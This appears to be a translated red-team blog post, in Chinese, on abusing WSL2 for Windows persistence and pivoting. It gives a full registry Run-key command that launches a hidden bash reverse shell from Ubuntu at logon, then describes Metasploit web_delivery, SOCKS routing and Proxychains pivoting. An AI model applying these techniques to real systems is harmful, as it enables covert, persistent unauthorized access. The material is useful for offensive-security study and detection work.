目录导航
我不认为这是它的本意

介绍
我真的很喜欢在 Windows 环境中进行开发。这是一个成熟的环境,拥有特权升级、利用和持久性控制的机会。大多数时候,当我们想到持久性之类的东西时,我们正在考虑诸如计划任务、启动二进制文件和注册表运行密钥修改之类的途径,以及我们如何使用这些途径直接与攻击者机器进行快速通信。
因此,本周进行了修补,我正在考虑如何使用上述某些过程设置额外的漏洞利用渠道。请注意,这些本身都不是过于隐秘的,因此尝试将其与另一个受信任的本地进程链接在一起是关键。
向 WSL2 打个招呼。
适用于 Linux 2 的 Windows 子系统
微软对 Windows 的子系统Linux 的定义是:
WSL 2 是适用于 Linux 架构的 Windows 子系统的新版本,它支持适用于 Linux 的 Windows 子系统在 Windows 上运行 ELF64 Linux 二进制文件。它的主要目标是提高文件系统性能,以及增加完整的系统调用兼容性。
通过一些基本的 Powershell 命令并在“打开或关闭 Windows 功能”菜单中添加 WSL2,可以在 10-15 分钟内设置 WSL2 环境。安装完所有内容后,快速重启将启动更改。
我经常在 WSL2 中使用 Ubuntu 20.04,因为它可以轻松集成到 Visual Studio Code 中。这使我可以在我正在开发它的 Windows 环境中测试 Python 编码,并在本机 Linux 环境中测试它。
这句话的最后一部分是这里最重要的部分——原生 Linux 环境。
持久性
Windows Powershell 和命令行界面允许在已安装的 WSL2 发行版中执行命令。

能够通过终端本地执行命令让我开始思考——如果我可以执行这样的命令,我可以将这样的命令添加到注册表值或任务计划程序中。所以这就是我所做的。请记住,此过程假定您已经在主机上泄露了一个用户帐户,或者已经创建了一个。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 键的基本修改,以包含一个新值,该值指向位于 Ubuntu 环境中的基本 Bash 反向 shell。

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” -v screendoor /t REG_SZ /d ‘“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -c wsl — distribution ubuntu-20.04 — exec bash /home/themayor/temp.sh”’

在我的外部 Kali 机器上启动反向侦听器后,我重新启动了我的 Windows 主机并重新登录到反向 shell。

Pivoting
我们现在有了一种持久访问主机的机制。除了 Ubuntu 环境之外,我们还可以访问与主机用户相同的文件权限以及与 Windows 用户相同的命令执行(执行受限于 shell 可用性)。

为了尽量减少 Windows 主机本身的占用空间,我们可以利用 WSL2 Ubuntu 环境作为进入主机的立足点。有很多不同的方法可以做到这一点,但为了在本文中简单起见,我们将使用 Metasploit 的 web_delivery 模块来获取 Meterpreter 会话。生成有效负载,将其复制并粘贴到您当前的反向 shell 中,然后执行。


运行 arp -a 将为我们提供子网上的主机 IP 地址,但是 WSL2 不使用 /24 子网。执行 ip a 命令为我们提供了 /20 形式的子网,如上所示。
在这一点上,Pivoting是微不足道的。我们需要先在 Metasploit 中创建路由并生成一个 SOCKS 代理。


我们现在可以使用 Proxychains 将来自 Kali 的流量通过 WSL2 Ubuntu 发行版代理到主机本身。

最后的想法
如引言中所述,作为攻击性安全操作者,我们随时可以使用各种工具来帮助我们在客户端环境中实现目标。随着防守的增加,我们也需要适应重新回到顶端。
我希望您今天在这里学到了一些新的东西,我鼓励您也可以在自己的实验室和环境中进行测试。
参考
https://docs.microsoft.com/en-us/windows/wsl/about
转载请注明出处及链接